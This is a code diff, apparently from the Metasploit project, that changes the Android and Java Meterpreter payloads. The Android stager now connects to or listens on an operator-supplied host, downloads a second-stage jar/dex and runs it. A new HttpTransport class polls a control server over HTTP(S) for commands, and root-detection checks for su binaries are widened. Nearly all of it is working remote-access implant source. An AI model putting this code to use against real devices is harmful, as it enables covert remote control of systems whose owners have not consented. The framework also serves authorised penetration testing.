diff --git a/java/README.md b/java/README.md index df7fbb16..936c818a 100644 --- a/java/README.md +++ b/java/README.md @@ -56,7 +56,7 @@ http://maven.apache.org/plugins/maven-idea-plugin/ 1. Download the [Android SDK](https://developer.android.com/sdk/index.html), and the [Android NDK](https://developer.android.com/tools/sdk/ndk/index.html) somewhere 2. Launch the `sdk/tool/android` program -3. Install API version 3, and update the "Android SDK Tools" and "Android SDK Platform-tools" +3. Install API version 10, and update the "Android SDK Tools" and "Android SDK Platform-tools" 4. Compile android meterpreter: ``` diff --git a/java/androidpayload/app/pom.xml b/java/androidpayload/app/pom.xml index 42efc348..9030abba 100644 --- a/java/androidpayload/app/pom.xml +++ b/java/androidpayload/app/pom.xml @@ -26,7 +26,7 @@ com.jayway.maven.plugins.android.generation2 android-maven-plugin - 3.5.3 + 3.7.0 true @@ -38,8 +38,8 @@ android-maven-plugin - - 3 + + 10 diff --git a/java/androidpayload/app/src/com/metasploit/stage/Payload.java b/java/androidpayload/app/src/com/metasploit/stage/Payload.java index 6132042b..24cb6ac6 100644 --- a/java/androidpayload/app/src/com/metasploit/stage/Payload.java +++ b/java/androidpayload/app/src/com/metasploit/stage/Payload.java @@ -9,6 +9,7 @@ import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; +import java.net.ServerSocket; import java.net.Socket; import java.net.URL; import java.net.URLConnection; @@ -20,11 +21,10 @@ public class Payload { public static final String URL = "ZZZZ "; public static final String CERT_HASH = "WWWW "; - public static final String LHOST = "XXXX127.0.0.1 "; - public static final String LPORT = "YYYY4444 "; - public static final String RETRY_TOTAL = "TTTT "; - public static final String RETRY_WAIT = "SSSS "; + public static final String TIMEOUTS = "TTTT "; + public static long session_expiry; + public static long comm_timeout; public static long retry_total; public static long retry_wait; @@ -55,63 +55,86 @@ public class Payload { String path = currentDir.getAbsolutePath(); parameters = new String[]{path}; } - int retryTotal; - int retryWait; + long sessionExpiry; + long commTimeout; + long retryTotal; + long retryWait; + String[] timeouts = TIMEOUTS.substring(4).trim().split("-"); try { - retryTotal = Integer.parseInt(RETRY_TOTAL.substring(4).trim()); - retryWait = Integer.parseInt(RETRY_WAIT.substring(4).trim()); + sessionExpiry = Integer.parseInt(timeouts[0]); + commTimeout = Integer.parseInt(timeouts[1]); + retryTotal = Integer.parseInt(timeouts[2]); + retryWait = Integer.parseInt(timeouts[3]); } catch (NumberFormatException e) { return; } long payloadStart = System.currentTimeMillis(); + session_expiry = TimeUnit.SECONDS.toMillis(sessionExpiry) + payloadStart; + comm_timeout = TimeUnit.SECONDS.toMillis(commTimeout); retry_total = TimeUnit.SECONDS.toMillis(retryTotal); retry_wait = TimeUnit.SECONDS.toMillis(retryWait); - while (System.currentTimeMillis() < payloadStart + retry_total) { + String url = URL.substring(4).trim(); + // technically we need to check for session expiry here as well. + while (System.currentTimeMillis() < payloadStart + retry_total && + System.currentTimeMillis() < session_expiry) { try { - if (URL.substring(4).trim().length() == 0) { - reverseTCP(); + if (url.startsWith("tcp")) { + runStagefromTCP(url); } else { - reverseHTTP(); + runStageFromHTTP(url); } - return; + break; } catch (Exception e) { e.printStackTrace(); } try { Thread.sleep(retry_wait); } catch (InterruptedException e) { - return; + break; } } } - private static void reverseHTTP() throws Exception { - String lurl = URL.substring(4).trim(); + private static void runStageFromHTTP(String url) throws Exception { InputStream inStream; - if (lurl.startsWith("https")) { - URLConnection uc = new URL(lurl).openConnection(); + if (url.startsWith("https")) { + URLConnection uc = new URL(url).openConnection(); Class.forName("com.metasploit.stage.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, uc); inStream = uc.getInputStream(); } else { - inStream = new URL(lurl).openStream(); + inStream = new URL(url).openStream(); } OutputStream out = new ByteArrayOutputStream(); DataInputStream in = new DataInputStream(inStream); - loadStage(in, out, parameters); + readAndRunStage(in, out, parameters); } - private static void reverseTCP() throws Exception { - String lhost = LHOST.substring(4).trim(); - String lport = LPORT.substring(4).trim(); - Socket msgsock = new Socket(lhost, Integer.parseInt(lport)); - DataInputStream in = new DataInputStream(msgsock.getInputStream()); - OutputStream out = new DataOutputStream(msgsock.getOutputStream()); - loadStage(in, out, parameters); + private static void runStagefromTCP(String url) throws Exception { + // string is in the format: tcp://host:port + String[] parts = url.split(":"); + int port = Integer.parseInt(parts[2]); + String host = parts[1].split("/")[2]; + Socket sock = null; + + if (host.equals("")) { + ServerSocket server = new ServerSocket(port); + sock = server.accept(); + server.close(); + } else { + sock = new Socket(host, port); + } + + if (sock != null) { + sock.setSoTimeout(500); + DataInputStream in = new DataInputStream(sock.getInputStream()); + OutputStream out = new DataOutputStream(sock.getOutputStream()); + readAndRunStage(in, out, parameters); + } } - private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception { + private static void readAndRunStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception { String path = parameters[0]; String filePath = path + File.separatorChar + "payload.jar"; String dexPath = path + File.separatorChar + "payload.dex"; @@ -146,5 +169,6 @@ public class Payload { myClass.getMethod("start", new Class[]{DataInputStream.class, OutputStream.class, String[].class}) .invoke(stage, in, out, parameters); + System.exit(0); } } diff --git a/java/androidpayload/library/pom.xml b/java/androidpayload/library/pom.xml index bc264ad6..3a137f60 100644 --- a/java/androidpayload/library/pom.xml +++ b/java/androidpayload/library/pom.xml @@ -47,7 +47,7 @@ com.jayway.maven.plugins.android.generation2 android-maven-plugin - 3.5.3 + 3.7.0 true @@ -59,8 +59,8 @@ android-maven-plugin - - 3 + + 10 diff --git a/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java b/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java index 7ef350ed..5aba6fc2 100644 --- a/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java +++ b/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java @@ -10,7 +10,7 @@ import dalvik.system.DexClassLoader; import javapayload.stage.Stage; /** - * Meterpreter Java Payload Proxy + * Meterpreter Android Payload Proxy */ public class Meterpreter implements Stage { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java index 3e2d5c4b..8148c657 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java @@ -17,7 +17,7 @@ import com.metasploit.meterpreter.android.webcam_get_frame_android; import com.metasploit.meterpreter.android.webcam_list_android; import com.metasploit.meterpreter.android.webcam_start_android; import com.metasploit.meterpreter.android.webcam_stop_android; -import com.metasploit.meterpreter.core.core_transport_set_timeouts; + import com.metasploit.meterpreter.stdapi.Loader; import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file; import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client; @@ -111,7 +111,6 @@ public class AndroidMeterpreter extends Meterpreter { getCommandManager().resetNewCommands(); CommandManager mgr = getCommandManager(); Loader.cwd = new File(writeableDir); - mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class); mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class); mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class); mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class); diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/android/check_root_android.java b/java/androidpayload/library/src/com/metasploit/meterpreter/android/check_root_android.java index dfc79691..be24c3a6 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/android/check_root_android.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/android/check_root_android.java @@ -9,8 +9,8 @@ import com.metasploit.meterpreter.command.Command; public class check_root_android implements Command { private static final int TLV_EXTENSIONS = 20000; - private static final int TLV_TYPE_CHECK_ROOT_BOOL = TLVPacket.TLV_META_TYPE_BOOL - | (TLV_EXTENSIONS + 9019); + private static final int TLV_TYPE_CHECK_ROOT_BOOL = + TLVPacket.TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019); @Override public int execute(Meterpreter meterpreter, TLVPacket request, @@ -27,21 +27,29 @@ public class check_root_android implements Command { return true; } - try { - File file = new File("/system/app/Superuser.apk"); - if (file.exists()) { - return true; - } - - } catch (Exception e1) { - - } - - return canExecuteCommand("/system/xbin/which su") + return fileInstalled("/system/app/SuperSU") + || fileInstalled("/system/app/SuperSU.apk") + || fileInstalled("/system/app/Superuser") + || fileInstalled("/system/app/Superuser.apk") + || fileInstalled("/system/xbin/su") + || fileInstalled("/system/xbin/_su") + || canExecuteCommand("/system/xbin/which su") || canExecuteCommand("/system/bin/which su") || canExecuteCommand("which su"); } + private static boolean fileInstalled(String packageName) { + boolean installed; + try { + File file = new File("/system/app/" + packageName); + installed = file.exists(); + } catch (Exception e1){ + installed = false; + } + + return installed; + } + private static boolean canExecuteCommand(String command) { boolean executedSuccesfully; try { diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/core/core_transport_set_timeouts.java b/java/androidpayload/library/src/com/metasploit/meterpreter/core/core_transport_set_timeouts.java deleted file mode 100644 index c99d9118..00000000 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/core/core_transport_set_timeouts.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.metasploit.meterpreter.core; - -import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; -import com.metasploit.meterpreter.command.Command; -import com.metasploit.stage.Payload; - -import java.util.concurrent.TimeUnit; - -public class core_transport_set_timeouts implements Command { - - public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { - Integer retryTotal = (Integer)request.getValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, null); - Integer retryWait = (Integer)request.getValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, null); - if (retryTotal != null) { - Payload.retry_total = TimeUnit.SECONDS.toMillis(retryTotal.intValue()); - } - if (retryWait != null) { - Payload.retry_wait = TimeUnit.SECONDS.toMillis(retryWait.intValue()); - } - return ERROR_SUCCESS; - } -} diff --git a/java/meterpreter/debugloader/src/test/java/com/metasploit/meterpreter/DebugLoader.java b/java/meterpreter/debugloader/src/test/java/com/metasploit/meterpreter/DebugLoader.java index 3dbce0ee..a6d95e05 100644 --- a/java/meterpreter/debugloader/src/test/java/com/metasploit/meterpreter/DebugLoader.java +++ b/java/meterpreter/debugloader/src/test/java/com/metasploit/meterpreter/DebugLoader.java @@ -19,6 +19,7 @@ public class DebugLoader { System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader []"); return; } + String url = "tcp://" + args[0] + ":" + args[1]; Socket msgsock = new Socket(args[0], Integer.parseInt(args[1])); DataInputStream in = new DataInputStream(msgsock.getInputStream()); OutputStream out = new DataOutputStream(msgsock.getOutputStream()); diff --git a/java/meterpreter/debugloader/src/test/java/com/metasploit/meterpreter/URLDebugLoader.java b/java/meterpreter/debugloader/src/test/java/com/metasploit/meterpreter/URLDebugLoader.java index 8ab7e7b8..680bf21d 100644 --- a/java/meterpreter/debugloader/src/test/java/com/metasploit/meterpreter/URLDebugLoader.java +++ b/java/meterpreter/debugloader/src/test/java/com/metasploit/meterpreter/URLDebugLoader.java @@ -20,7 +20,8 @@ public class URLDebugLoader { System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader []"); return; } - URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM"); + String url = "http://" + args[0] + ":" + args[1] + "/INITJM"; + URL initURL = new URL(url); DataInputStream in = new DataInputStream(initURL.openStream()); OutputStream out = new DataOutputStream(new ByteArrayOutputStream()); int coreLen = in.readInt(); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java index 3d31bc34..04df8b46 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/CommandManager.java @@ -1,5 +1,6 @@ package com.metasploit.meterpreter; +import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.Vector; @@ -40,8 +41,9 @@ public class CommandManager { String javaversion = System.getProperty("java.version"); if (javaversion != null && javaversion.length() > 2) { int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2; - if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion) + if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion) { apiVersion = vmVersion; + } } this.javaVersion = apiVersion; @@ -79,20 +81,27 @@ public class CommandManager { * @param secondVersion Minimum Java version for the second implementation */ public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception { - if (secondVersion < version) + if (secondVersion < version) { throw new IllegalArgumentException("secondVersion must be larger than version"); + } + if (javaVersion < version) { registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version)); return; } - if (javaVersion >= secondVersion) + + if (javaVersion >= secondVersion) { version = secondVersion; + } if (version != ExtensionLoader.V1_2) { commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10)); } + Command cmd = (Command) commandClass.newInstance(); registeredCommands.put(command, cmd); + Command x = (Command)registeredCommands.get(command); + newCommands.add(command); } @@ -101,11 +110,33 @@ public class CommandManager { */ public Command getCommand(String name) { Command cmd = (Command) registeredCommands.get(name); - if (cmd == null) + if (cmd == null) { cmd = NotYetImplementedCommand.INSTANCE; + } return cmd; } + public int executeCommand(Meterpreter met, TLVPacket request, TLVPacket response) throws IOException { + String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); + Command cmd = this.getCommand(method); + + int result; + try { + result = cmd.execute(met, request, response); + } catch (Throwable t) { + t.printStackTrace(met.getErrorStream()); + result = Command.ERROR_FAILURE; + } + + if (result == Command.EXIT_DISPATCH) { + response.add(TLVType.TLV_TYPE_RESULT, Command.ERROR_SUCCESS); + } else { + response.add(TLVType.TLV_TYPE_RESULT, result); + } + + return result; + } + /** * Reset the list of commands loaded by the last core_loadlib call */ diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java new file mode 100644 index 00000000..8a43e89c --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -0,0 +1,300 @@ +package com.metasploit.meterpreter; + +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.OutputStream; +import java.io.EOFException; +import java.io.IOException; + +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLConnection; + +import com.metasploit.meterpreter.command.Command; + +public class HttpTransport extends Transport { + private static final int UA_LEN = 256; + private static final int PROXY_HOST_LEN = 128; + private static final int PROXY_USER_LEN = 64; + private static final int PROXY_PASS_LEN = 64; + private static final int CERT_HASH_LEN = 20; + private static final String TRUST_MANAGER = "com.metasploit.meterpreter.PayloadTrustManager"; + private static final byte[] RECV = new byte[]{'R', 'E', 'C', 'V'}; + + private URL targetUrl = null; + private URL nextUrl = null; + private String userAgent; + private String proxy; + private String proxyUser; + private String proxyPass; + private byte[] certHash; + + public HttpTransport(String url) throws MalformedURLException { + super(url); + + this.targetUrl = new URL(url); + } + + public void bind(DataInputStream in, OutputStream rawOut) { + // http, we don't bind to anything as we're stateless + } + + public boolean switchUri(String uri) { + try { + // can't use getAuthority() here thanks to java 1.2. Ugh. + String newUrl = this.targetUrl.getProtocol() + "://" + + this.targetUrl.getHost() + ":" + + this.targetUrl.getPort() + + uri; + this.nextUrl = new URL(newUrl); + return true; + } + catch (MalformedURLException ex) { + return false; + } + } + + public int parseConfig(byte[] configuration, int offset) { + offset = this.parseTimeouts(configuration, offset); + + this.proxy = Meterpreter.readString(configuration, offset, PROXY_HOST_LEN); + offset += PROXY_HOST_LEN; + + this.proxyUser = Meterpreter.readString(configuration, offset, PROXY_USER_LEN); + offset += PROXY_USER_LEN; + + this.proxyPass = Meterpreter.readString(configuration, offset, PROXY_PASS_LEN); + offset += PROXY_PASS_LEN; + + this.userAgent = Meterpreter.readString(configuration, offset, UA_LEN); + offset += UA_LEN; + + this.certHash = null; + byte[] loadedHash = Meterpreter.readBytes(configuration, offset, CERT_HASH_LEN); + offset += CERT_HASH_LEN; + + // we only store the cert hash value if it's got a value + for (int i = 0; i < loadedHash.length; i++) { + if (loadedHash[i] != 0) { + this.certHash = loadedHash; + break; + } + } + + return offset; + } + + public String getUserAgent() { + return this.userAgent; + } + + public void setUserAgent(String userAgent) { + this.userAgent = userAgent; + } + + public String getProxy() { + return this.proxy; + } + + public void setProxy(String proxy) { + this.proxy = proxy; + } + + public String getProxyUser() { + return this.proxyUser; + } + + public void setProxyUser(String proxyUser) { + this.proxyUser = proxyUser; + } + + public String getProxyPass() { + return this.proxyPass; + } + + public void setProxyPass(String proxyPass) { + this.proxyPass = proxyPass; + } + + public byte[] getCertHash() { + return this.certHash; + } + + public void setCertHash(byte[] certHash) { + this.certHash = certHash; + } + + public void disconnect() { + } + + protected boolean tryConnect(Meterpreter met) throws IOException { + URLConnection conn = this.createConnection(); + + if (conn == null) { + return false; + } + + OutputStream outputStream = conn.getOutputStream(); + outputStream.write(RECV); + outputStream.close(); + + DataInputStream inputStream = new DataInputStream(conn.getInputStream()); + + try { + int len = inputStream.readInt(); + int type = inputStream.readInt(); + TLVPacket request = new TLVPacket(inputStream, len - 8); + inputStream.close(); + + // things are looking good, handle the packet and return true, as this + // is the situation that happens on initial connect (not reconnect) + TLVPacket response = request.createResponse(); + int result = met.getCommandManager().executeCommand(met, request, response); + this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE); + + return true; + } + catch (EOFException ex) { + // this can happens on reconnect + return true; + } + catch (Exception ex) { + } + + // we get here, thins aren't good. + return false; + } + + public TLVPacket readPacket() throws IOException { + URLConnection conn = this.createConnection(); + + if (conn == null) { + return null; + } + + OutputStream outputStream = conn.getOutputStream(); + outputStream.write(RECV); + outputStream.close(); + + DataInputStream inputStream = new DataInputStream(conn.getInputStream()); + + try { + int len = inputStream.readInt(); + int type = inputStream.readInt(); + TLVPacket request = new TLVPacket(inputStream, len - 8); + inputStream.close(); + return request; + } + catch (EOFException ex) { + } + + return null; + } + + public void writePacket(TLVPacket packet, int type) throws IOException { + URLConnection conn = this.createConnection(); + + if (conn == null) { + return; + } + + byte[] data = packet.toByteArray(); + DataOutputStream outputStream = new DataOutputStream(conn.getOutputStream()); + outputStream.writeInt(data.length + 8); + outputStream.writeInt(type); + outputStream.write(data); + outputStream.flush(); + outputStream.close(); + + DataInputStream inputStream = new DataInputStream(conn.getInputStream()); + + try { + int len = inputStream.readInt(); + type = inputStream.readInt(); + // not really worried about the response, we just want to read a packet out of it + // and move on + new TLVPacket(inputStream, len - 8); + inputStream.close(); + } + catch (EOFException ex) { + // log error? + } + } + + public boolean dispatch(Meterpreter met) { + long lastPacket = System.currentTimeMillis(); + long ecount = 0; + + while (!met.hasSessionExpired() && + System.currentTimeMillis() < lastPacket + this.commTimeout) { + try { + TLVPacket request = this.readPacket(); + + if (request != null) { + ecount = 0; + + // got a packet, update the timestamp + lastPacket = System.currentTimeMillis(); + + TLVPacket response = request.createResponse(); + int result = met.getCommandManager().executeCommand(met, request, response); + + this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE); + + if (result == Command.EXIT_DISPATCH) { + return true; + } + } else { + long delay = ecount++ * 10; + if (ecount >= 10) { + delay *= 10; + } + met.sleep(Math.min(10000, delay)); + } + } catch (Exception ex) { + // any other type of exception isn't good. + break; + } + + // see if we switched URLs along the way, and if we did, move it on over. + // This is really only used for stageless payloads (not yet implemented in + // msf for this, but we're getting there). The command for this hasn't yet + // been wired in. + if (this.nextUrl != null) { + this.url = this.nextUrl.toString(); + this.targetUrl = this.nextUrl; + this.nextUrl = null; + } + } + + // if we get here we assume things aren't good. + return false; + } + + private URLConnection createConnection() { + URLConnection conn = null; + + try { + conn = this.targetUrl.openConnection(); + + if (this.targetUrl.getProtocol().equals("https")) { + try { + Class.forName(TRUST_MANAGER).getMethod("useFor", new Class[]{URLConnection.class}) + .invoke(null, new Object[]{conn}); + } + catch (Exception ex) { + // perhaps log? + } + } + conn.setDoOutput(true); + } + catch (IOException ex) { + if (conn != null) { + conn = null; + } + } + + return conn; + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 8c23ba23..e9448523 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -8,9 +8,11 @@ import java.io.EOFException; import java.io.IOException; import java.io.OutputStream; import java.io.PrintStream; + +import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; -import java.net.URLConnection; + import java.util.ArrayList; import java.util.Iterator; import java.util.List; @@ -27,13 +29,11 @@ import com.metasploit.meterpreter.core.core_loadlib; */ public class Meterpreter { - private static final int PACKET_TYPE_REQUEST = 0; - private static final int PACKET_TYPE_RESPONSE = 1; + public static final int UUID_LEN = 16; + public static final int URL_LEN = 512; private List/* */channels = new ArrayList(); private final CommandManager commandManager; - private final DataInputStream in; - private final DataOutputStream out; private final Random rnd = new Random(); private final ByteArrayOutputStream errBuffer; private final PrintStream err; @@ -41,6 +41,92 @@ public class Meterpreter { private List/* */tlvQueue = null; + private final TransportList transports = new TransportList(); + private int ignoreBlocks = 0; + private byte[] uuid; + private long sessionExpiry; + + + private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) throws MalformedURLException { + // socket handle is 4 bytes, followed by exit func, both of + // which we ignore. + int csr = 8; + + // We start with the expiry, which is a 32 bit int + setExpiry(unpack32(configuration, csr)); + csr += 4; + + // this is followed with the UUID + this.uuid = readBytes(configuration, csr, UUID_LEN); + csr += UUID_LEN; + + // here we need to loop through all the given transports, we know that we're + // going to get at least one. + while (configuration[csr] != '\0') { + // read the transport URL + String url = readString(configuration, csr, URL_LEN); + csr += URL_LEN; + + Transport t = null; + if (url.startsWith("tcp")) { + t = new TcpTransport(url); + } else { + t = new HttpTransport(url); + } + + csr = t.parseConfig(configuration, csr); + if (this.transports.isEmpty()) { + t.bind(in, rawOut); + } + this.transports.add(t); + } + + // we don't currently support extensions, so when we reach the end of the + // list of transports we just bomb out. + } + + public byte[] getUUID() { + return this.uuid; + } + + public long getExpiry() { + return (this.sessionExpiry - System.currentTimeMillis()) / Transport.MS; + } + + public int getIgnoreBlocks() { + return this.ignoreBlocks; + } + + public void setExpiry(long seconds) { + this.sessionExpiry = System.currentTimeMillis() + seconds * Transport.MS; + } + + public void sleep(long milliseconds) { + try { + Thread.sleep(milliseconds); + } catch (InterruptedException ex) { + // ignore + } + } + + public static String readString(byte[] bytes, int offset, int size) { + return new String(readBytes(bytes, offset, size)).trim(); + } + + public static byte[] readBytes(byte[] bytes, int offset, int size) { + byte[] buf = new byte[size]; + System.arraycopy(bytes, offset, buf, 0, size); + return buf; + } + + public static int unpack32(byte[] bytes, int offset) { + int res = 0; + for (int i = 0; i < 4; i++) { + res = res | (((int)bytes[i + offset]) & 0xFF) << (i * 8); + } + return res; + } + /** * Initialize the meterpreter. * @@ -65,11 +151,23 @@ public class Meterpreter { * @throws Exception */ public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception { + + int configLen = in.readInt(); + byte[] configBytes = new byte[configLen]; + in.readFully(configBytes); + + loadConfiguration(in, rawOut, configBytes); + + // after the configuration block is a 32 bit integer that tells us + // how many stages were wired into the payload. We need to stash this + // because in the case of TCP comms, we need to skip this number of + // blocks down the track when we reconnect. We have to store this in + // the meterpreter class instead of the TCP comms class though + this.ignoreBlocks = in.readInt(); + this.loadExtensions = loadExtensions; - this.in = in; - this.out = new DataOutputStream(rawOut); - commandManager = new CommandManager(); - channels.add(null); // main communication channel? + this.commandManager = new CommandManager(); + this.channels.add(null); // main communication channel? if (redirectErrors) { errBuffer = new ByteArrayOutputStream(); err = new PrintStream(errBuffer); @@ -82,21 +180,29 @@ public class Meterpreter { } } + public TransportList getTransports() { + return this.transports; + } + + public boolean hasSessionExpired() { + return System.currentTimeMillis() > this.sessionExpiry; + } + public void startExecuting() throws Exception { - try { - while (true) { - int len = in.readInt(); - int ptype = in.readInt(); - if (ptype != PACKET_TYPE_REQUEST) - throw new IOException("Invalid packet type: " + ptype); - TLVPacket request = new TLVPacket(in, len - 8); - TLVPacket response = executeCommand(request); - if (response != null) - writeTLV(PACKET_TYPE_RESPONSE, response); + while (!this.hasSessionExpired() && this.transports.current() != null) { + if (!this.transports.current().connect(this)) { + continue; } - } catch (EOFException ex) { + + boolean cleanExit = this.transports.current().dispatch(this); + this.transports.current().disconnect(); + + if (cleanExit && !this.transports.changeRequested()) { + break; + } + + this.transports.moveNext(this); } - out.close(); synchronized (this) { for (Iterator it = channels.iterator(); it.hasNext(); ) { Channel c = (Channel) it.next(); @@ -110,148 +216,6 @@ public class Meterpreter { return "com.metasploit.meterpreter.PayloadTrustManager"; } - /** - * Write a TLV packet to this meterpreter's output stream. - * - * @param type The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE}) - * @param packet The packet to send - */ - private synchronized void writeTLV(int type, TLVPacket packet) throws IOException { - byte[] data = packet.toByteArray(); - if (tlvQueue != null) { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - DataOutputStream dos = new DataOutputStream(baos); - dos.writeInt(data.length + 8); - dos.writeInt(type); - dos.write(data); - tlvQueue.add(baos.toByteArray()); - return; - } - synchronized (out) { - out.writeInt(data.length + 8); - out.writeInt(type); - out.write(data); - out.flush(); - } - } - - /** - * Execute a command request. - * - * @param request The request to execute - * @return The response packet to send back - */ - private TLVPacket executeCommand(TLVPacket request) throws IOException { - TLVPacket response = new TLVPacket(); - String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); - if (method.equals("core_switch_url")) { - String url = request.getStringValue(TLVType.TLV_TYPE_STRING); - int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT); - int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH); - pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout); - return null; - } else if (method.equals("core_shutdown")) { - return null; - } - response.add(TLVType.TLV_TYPE_METHOD, method); - response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID)); - Command cmd = commandManager.getCommand(method); - int result; - try { - result = cmd.execute(this, request, response); - } catch (Throwable t) { - t.printStackTrace(getErrorStream()); - result = Command.ERROR_FAILURE; - } - response.add(TLVType.TLV_TYPE_RESULT, result); - return response; - } - - /** - * Poll from a given URL until a shutdown request is received. - * - * @param url - */ - private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException { - synchronized (this) { - tlvQueue = new ArrayList(); - } - int ecount = 0; - long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L; - long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L; - final byte[] RECV = "RECV".getBytes("ISO-8859-1"); - while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) { - byte[] outPacket = null; - synchronized (this) { - if (tlvQueue.size() > 0) - outPacket = (byte[]) tlvQueue.remove(0); - } - TLVPacket request = null; - try { - URLConnection uc = url.openConnection(); - if (url.getProtocol().equals("https")) { - // load the trust manager via reflection, to avoid loading - // it when it is not needed (it requires Sun Java 1.4+) - try { - Class.forName(getPayloadTrustManager()).getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc}); - } catch (Exception ex) { - ex.printStackTrace(getErrorStream()); - } - } - uc.setDoOutput(true); - OutputStream out = uc.getOutputStream(); - out.write(outPacket == null ? RECV : outPacket); - out.close(); - DataInputStream in = new DataInputStream(uc.getInputStream()); - int len; - try { - len = in.readInt(); - } catch (EOFException ex) { - len = -1; - } - if (len != -1) { - int ptype = in.readInt(); - if (ptype != PACKET_TYPE_REQUEST) - throw new RuntimeException("Invalid packet type: " + ptype); - request = new TLVPacket(in, len - 8); - } - in.close(); - commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L; - } catch (IOException ex) { - ex.printStackTrace(getErrorStream()); - // URL not reachable - if (outPacket != null) { - synchronized (this) { - tlvQueue.add(0, outPacket); - } - } - } - if (request != null) { - ecount = 0; - TLVPacket response = executeCommand(request); - if (response == null) - break; - writeTLV(PACKET_TYPE_RESPONSE, response); - } else if (outPacket == null) { - int delay; - if (ecount < 10) { - delay = 10 * ecount; - } else { - delay = 100 * ecount; - } - ecount++; - try { - Thread.sleep(Math.min(10000, delay)); - } catch (InterruptedException ex) { - // ignore - } - } - } - synchronized (this) { - tlvQueue = new ArrayList(); - } - } - /** * Get the command manager, used to register or lookup commands. */ @@ -288,10 +252,12 @@ public class Meterpreter { */ public Channel getChannel(int id, boolean throwIfNonexisting) { Channel result = null; - if (id < channels.size()) + if (id < channels.size()) { result = (Channel) channels.get(id); - if (result == null && throwIfNonexisting) + } + if (result == null && throwIfNonexisting) { throw new IllegalArgumentException("Channel " + id + " does not exist."); + } return result; } @@ -306,8 +272,9 @@ public class Meterpreter { * Return the length of the currently buffered error stream content, or -1 if no buffering is active. */ public int getErrorBufferLength() { - if (errBuffer == null) + if (errBuffer == null) { return -1; + } return errBuffer.size(); } @@ -315,8 +282,9 @@ public class Meterpreter { * 